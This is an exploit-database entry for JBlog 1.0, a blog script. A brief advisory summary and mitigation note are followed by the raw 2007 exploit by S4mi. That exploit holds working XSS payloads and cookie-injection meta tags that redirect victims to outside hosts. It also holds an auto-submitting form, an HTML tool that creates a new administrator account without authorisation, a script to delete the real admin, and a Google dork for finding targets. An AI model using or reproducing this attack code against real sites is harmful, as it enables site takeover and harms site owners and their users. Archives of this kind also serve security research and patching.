JBlog version: 1.0

vendor:

JBlog version 1.0

by:

S4mi

N/A

CVSS

N/A

Creat Admin exploit, xss, Cookie Manipulation

CWE

Product Name: JBlog version 1.0

Affected Version From:

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

The JBlog version 1.0 script is vulnerable to remote access and contains dangerous vulnerabilities including Create Admin exploit, xss, and Cookie Manipulation. The exploit allows for cookies manipulation and cross-site scripting (xss) attacks. The POST variable 'search' in /jblog/recherche.php and the Cookie variable 'theme' can be manipulated. This allows for setting the cookie variable 'theme' to arbitrary values, potentially leading to unauthorized access or execution of malicious scripts.

Mitigation:

To mitigate these vulnerabilities, it is recommended to update to a newer version of JBlog that addresses these issues. Additionally, input validation and sanitization should be implemented to prevent the manipulation of cookies and cross-site scripting attacks.

Source

Exploit-DB raw data:

<!--
##############################################################################
#	Script...............: JBlog version: 1.0                            #
#	Script Site..........: http://www.jmuller.net/jblog                  #
#	Vulnerability........: Creat Admin exploit, xss, Cookie Manipulation #
#	Access...............: Remote                                        #
#	level................: Dangerous                                     #
#	Author...............: S4mi                                          #
#	Contact..............: S4mi[at]LinuxMail.org                         #
#                                                                            #
##############################################################################

cookies Manipulation + Cross Site Scripting :
=========================================================================
xss:
----
http://site.com/jblog/index.php?id=">[xss Here]&pcomm=com 

cookies Manipulation:
--------------------
The POST variable 'search' in  /jblog/recherche.php  also The Cookie variable 'theme' is affected and can be set to :

 <meta http-equiv='Set-cookie' content='name=value'>

also we can do this :

 <meta http-equiv='Set-cookie' content='theme=<body+onload=alert("owned_by_Hacker")>'>

or :

<meta http-equiv='Set-cookie' content='theme=<body+onload=document.location="http://Bad.site.com/">'>

This is a small exemple of Inject Cookie Xploit (Cookie Manipulation)
---------------------------------------------------------------------------
<html>
<head>
<title>Inject Cookie Xploit By S4mi</title>
</head>
<body>
<script language="JavaScript">
function JBlogxpl() 
{
  document.xploit.action=document.xploit.victim.value;
  document.xploit.submit();
 }
</script>
<form name="xploit"  method="post" action="">
<input type="hidden" name="victim" value="http://victim/jblog/recherche.php">
<input type="hidden"  name="search" value="&lt;meta http-equiv='Set-cookie' content='theme=&lt;body+onload=document.location=&quot;http://milw0rm.com/&quot;&gt;'&gt;" />
<script>document.location="javascript: JBlogxpl()"</script>
</form>
</body>
</html>

============================================================================

Remote Privilege Escalation "Creat New Admin Xploit" By S4mi : 
============================================================================
-->

<html>
<title>JBlog 1.0 -- Remote Privilege Escalation (Creat admin sploit) -- By S4mi</title>
<body>
<script language="JavaScript">
function JBlogxpl() {
  if (document.xploit.victim.value=="") {
    alert("Please enter target!");
    return false;
  }
 {
    xploit.action="http://"+document.xploit.victim.value+"admin/ajoutaut.php";
    xploit.mot.value=document.xploit.mot.value;
    xploit.droit.value=document.xploit.droit.value;
    xploit.submit();
  }
}

</script>
<strong><p>
-------------------------------------------------------------------------------------------<br>
  #JBlog 1.0 -- Remote Privilege Escalation Xploit (add user)<br>
  #	Discovered By...............: S4mi                                          <br>
  #	Contact..........................: S4mi[at]LinuxMail.org<br>
  #<br>
  #     Google Dork : "propulsÃ© par JBlog"  <br>
  --------------------------------------------------------------------------------------------</p>
<form name="xploit" method="POST" onSubmit="JBlogxpl();">
  Target -> Http://
    <input type="text" name="victim" value="www.Site.com/Path/" size="44">
  <p> Username.......->
    <input type="text" name="mot" value="ZaZ" size="30"> 
    (your password will be by default: <i>"admin"</i>)</p>
  <p> User type......->
            <select name="droit">
                    <option value="3">Admin</option>
                    <option value="2">Moderator</option>
                    <option value="1">Editor</option>
            </select>
  </p>
  <p>Submit...........->
    <input name="submit" type="submit" value="   Xploit it       ">
  </p>
</form>
<br>---------------------------------------------------------------------------------------<br>
  #NB : Remember do not  use a probably existing username (such as "admin"). <br>
  #If you want to Delete real admin account :D login into your New Created admin account & use this :<br>
--------------------------------------------------------------------------------------------<p>
<script language="JavaScript">

function AdminDelete()
{ if (document.xploit.victim.value=="") {
    alert("Please enter target!");
    return false;
  }
         if(confirm('Are you Sure!! want really DELETE user ?'))
	document.location.href="http://"+document.xploit.victim.value+"admin/supauteur.php?cat="+document.userdel.id.value;
}
</script>
<form name="userdel" method="POST" onSubmit="">
ID...............> <input type="text" name="id" value="1" size="3">
</form>
<a href="#" OnClick="AdminDelete()"/>Delete</a>

<br>-----------------------------------------------------------------------------------------------<br>
#Special Greetz to : Simo64, DrackaNz, Coder212, Iss4m, HarDose, r0_0t, ddx39, Black-Code, Nuck3r... & all who know Me!

</body>
</html>

# milw0rm.com [2007-07-21]